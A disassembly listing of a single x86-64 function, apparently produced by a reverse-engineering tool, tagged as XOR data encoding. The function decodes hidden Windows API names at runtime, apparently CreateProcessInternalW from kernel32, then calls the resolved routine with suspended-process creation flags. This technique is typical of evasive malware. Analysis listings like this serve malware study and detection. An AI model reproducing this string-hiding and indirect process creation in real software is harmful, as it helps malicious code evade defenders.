Function at 0x2b368e8d0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x198
xor eax, eax
mov qword [rsp + 0x1e0], rcx
lea rdi, [rsp + 0x120]
mov ecx, 0xd
mov qword [rsp + 0x98], rdi
rep stosq qword [rdi], rax
mov rax, qword [rsp + 0x1e0]
mov dword [rsp + 0x100], 0x56
mov qword [rsp + 0x1f0], r8
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
mov eax, dword [rsp + 0x100]
mov r15d, dword [rsp + 0x100]
mov ebx, dword [rsp + 0x100]
mov qword [rsp + 0x1f8], r9
mov esi, dword [rsp + 0x100]
mov dword [rsp + 0x94], eax
mov edi, dword [rsp + 0x100]
add ebx, 2
mov ebp, dword [rsp + 0x100]
mov qword [rsp + 0x1e8], rdx
mov r12d, dword [rsp + 0x100]
add esi, 3
movzx ebx, bl
mov eax, dword [rsp + 0x100]
mov byte [rsp + 0xf6], 0
add ebp, 5
add edi, 4
mov r14d, dword [rsp + 0x100]
mov dword [rsp + 0x60], eax
add r12d, 6
movzx ebp, bpl
movzx edi, dil
movzx r12d, r12b
movzx esi, sil
add r15d, 1
add r14d, 8
mov r13d, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x100]
movzx r15d, r15b
movzx r14d, r14b
mov r8d, dword [rsp + 0x100]
mov dword [rsp + 0x120], 0x68
mov r9d, dword [rsp + 0x100]
mov r10d, dword [rsp + 0x100]
add r13d, 9
add ecx, 0xa
mov r11d, dword [rsp + 0x100]
add r8d, 0xb
movzx ecx, cl
movzx r13d, r13b
mov eax, dword [rsp + 0x100]
add r10d, 0xd
add r9d, 0xc
movzx r8d, r8b
add r11d, 0xe
movzx r10d, r10b
movzx r9d, r9b
mov qword [rsp + 0xa8], 0
mov edx, dword [rsp + 0x100]
add eax, 0xf
movzx r11d, r11b
movzx eax, al
mov dword [rsp + 0x90], edx
mov edx, dword [rsp + 0x100]
shl rax, 8
or rax, r11
mov dword [rsp + 0x8c], edx
mov edx, dword [rsp + 0x100]
shl rax, 8
mov dword [rsp + 0x88], edx
mov edx, dword [rsp + 0x100]
mov dword [rsp + 0x84], edx
mov edx, dword [rsp + 0x100]
mov dword [rsp + 0x80], edx
mov edx, dword [rsp + 0x100]
mov dword [rsp + 0x7c], edx
movzx edx, byte [rsp + 0x60]
add edx, 7
movzx edx, dl
shl rdx, 8
or rdx, r12
shl rdx, 8
or rdx, rbp
shl rdx, 8
or rdx, rdi
movzx edi, byte [rsp + 0x7c]
shl rdx, 8
or rdx, rsi
movzx esi, byte [rsp + 0x90]
shl rdx, 8
or rdx, rbx
movzx ebx, byte [rsp + 0x94]
shl rdx, 8
or rdx, r15
shl rdx, 8
or rax, r10
shl rax, 8
or rdx, rbx
movzx ebx, byte [rsp + 0x84]
or rax, r9
mov qword [rsp + 0x60], rdx
lea edx, [rsi + 0x10]
movzx esi, byte [rsp + 0x8c]
shl rax, 8
xor edx, 0x65
or rax, r8
shl rax, 8
or rax, rcx
lea ecx, [rbx + 0x13]
shl rax, 8
xor ecx, 0x61
or rax, r13
shl ecx, 0x18
shl rax, 8
or rax, r14
mov qword [rsp + 0x68], rax
xor eax, eax
movdqa xmm0, xmmword [rsp + 0x60]
mov al, dl
lea edx, [rsi + 0x11]
movzx esi, byte [rsp + 0x88]
pxor xmm0, xmmword [str.CreateProcessIntkernel32mgtpgn54CreateFileMappinCloseHanoivrip76]
xor edx, 0x72
mov ah, dl
lea edx, [rsi + 0x12]
movzx esi, byte [rsp + 0x80]
movups xmmword [rsp + 0x104], xmm0
xor edx, 0x6e
movzx eax, ax
movaps xmmword [rsp + 0xe0], xmm0
movzx edx, dl
shl edx, 0x10
or eax, edx
lea edx, [rsi + 0x14]
or eax, ecx
xor edx, 0x6c
xor ecx, ecx
mov cl, dl
lea edx, [rdi + 0x15]
mov dword [rsp + 0x114], eax
xor edx, 0x57
mov dword [rsp + 0xf0], eax
xor eax, eax
mov ch, dl
mov word [rsp + 0x118], cx
mov word [rsp + 0xf4], cx
mov byte [rsp + 0x11a], 0
nop dword [rax + rax]
movzx ecx, byte [rsp + rax + 0x104]
mov edx, dword [rsp + 0x100]
add edx, eax
xor edx, ecx
mov byte [rsp + rax + 0x104], dl
add rax, 1
cmp rax, 0x16
jne 0x2b368ebd8
mov byte [rsp + 0x11a], 0
movq xmm0, qword [0x2b3759600]
mov dword [rsp + 0xc0], 0x74
mov r12d, dword [rsp + 0xc0]
mov r10d, dword [rsp + 0xc0]
mov r11d, dword [rsp + 0xc0]
mov byte [rsp + 0xbc], 0
mov ebx, dword [rsp + 0xc0]
mov esi, dword [rsp + 0xc0]
movzx r12d, r12b
mov edi, dword [rsp + 0xc0]
add r11d, 2
add r10d, 1
mov ebp, dword [rsp + 0xc0]
add esi, 4
add ebx, 3
movzx r11d, r11b
movzx r10d, r10b
mov eax, dword [rsp + 0xc0]
add ebp, 6
add edi, 5
movzx ebx, bl
movzx ebp, bpl
movzx edi, dil
movzx esi, sil
mov r9d, dword [rsp + 0xc0]
add eax, 7
mov r8d, dword [rsp + 0xc0]
mov edx, dword [rsp + 0xc0]
movzx eax, al
add r9d, 8
mov ecx, dword [rsp + 0xc0]
shl rax, 8
xor r9d, 0x2e
add edx, 0xa
or rax, rbp
xor edx, 0x6c
add ecx, 0xb
shl rax, 8
movzx edx, dl
xor ecx, 0x6c
shl edx, 0x10
or rax, rdi
shl ecx, 0x18
shl rax, 8
or rax, rsi
shl rax, 8
or rax, rbx
lea ebx, [r8 + 9]
shl rax, 8
xor ebx, 0x64
or rax, r11
shl rax, 8
or rax, r10
shl rax, 8
or rax, r12
movq xmm2, rax
xor eax, eax
mov al, r9b
pxor xmm2, xmm0
movq qword [rsp + 0xc4], xmm2
mov ah, bl
movq qword [rsp + 0xb0], xmm2
movzx eax, ax
or eax, edx
or eax, ecx
lea rcx, [rsp + 0xc4]
mov dword [rsp + 0xcc], eax
mov dword [rsp + 0xb8], eax
mov byte [rsp + 0xd0], 0
movzx eax, byte [rsp + 0xc4]
mov edx, dword [rsp + 0xc0]
xor eax, edx
mov byte [rsp + 0xc4], al
movzx edx, byte [rsp + 0xc5]
mov eax, dword [rsp + 0xc0]
add eax, 1
xor eax, edx
mov byte [rsp + 0xc5], al
movzx edx, byte [rsp + 0xc6]
mov eax, dword [rsp + 0xc0]
add eax, 2
xor eax, edx
mov byte [rsp + 0xc6], al
movzx edx, byte [rsp + 0xc7]
mov eax, dword [rsp + 0xc0]
add eax, 3
xor eax, edx
mov byte [rsp + 0xc7], al
movzx edx, byte [rsp + 0xc8]
mov eax, dword [rsp + 0xc0]
add eax, 4
xor eax, edx
mov byte [rsp + 0xc8], al
movzx edx, byte [rsp + 0xc9]
mov eax, dword [rsp + 0xc0]
add eax, 5
xor eax, edx
mov byte [rsp + 0xc9], al
movzx edx, byte [rsp + 0xca]
mov eax, dword [rsp + 0xc0]
add eax, 6
xor eax, edx
mov byte [rsp + 0xca], al
movzx edx, byte [rsp + 0xcb]
mov eax, dword [rsp + 0xc0]
add eax, 7
xor eax, edx
mov byte [rsp + 0xcb], al
movzx edx, byte [rsp + 0xcc]
mov eax, dword [rsp + 0xc0]
add eax, 8
xor eax, edx
mov byte [rsp + 0xcc], al
movzx edx, byte [rsp + 0xcd]
mov eax, dword [rsp + 0xc0]
add eax, 9
xor eax, edx
mov byte [rsp + 0xcd], al
movzx edx, byte [rsp + 0xce]
mov eax, dword [rsp + 0xc0]
add eax, 0xa
xor eax, edx
mov byte [rsp + 0xce], al
movzx edx, byte [rsp + 0xcf]
mov eax, dword [rsp + 0xc0]
add eax, 0xb
xor eax, edx
lea rdx, [rsp + 0x104]
mov byte [rsp + 0xcf], al
mov byte [rsp + 0xd0], 0
call fcn.2b3657510
mov rbx, qword [rsp + 0x1e0]
xor r9d, r9d
mov rsi, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x1f8]
lea rdx, [rsp + 0xa8]
xor ecx, ecx
mov dword [rsp + 0x30], 0x800000c
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsp + 0x1e8]
mov qword [rsp + 0x58], rdx
mov r8, qword [rsp + 0x1f0]
xor edx, edx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rax
test eax, eax
setne al
add rsp, 0x198
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret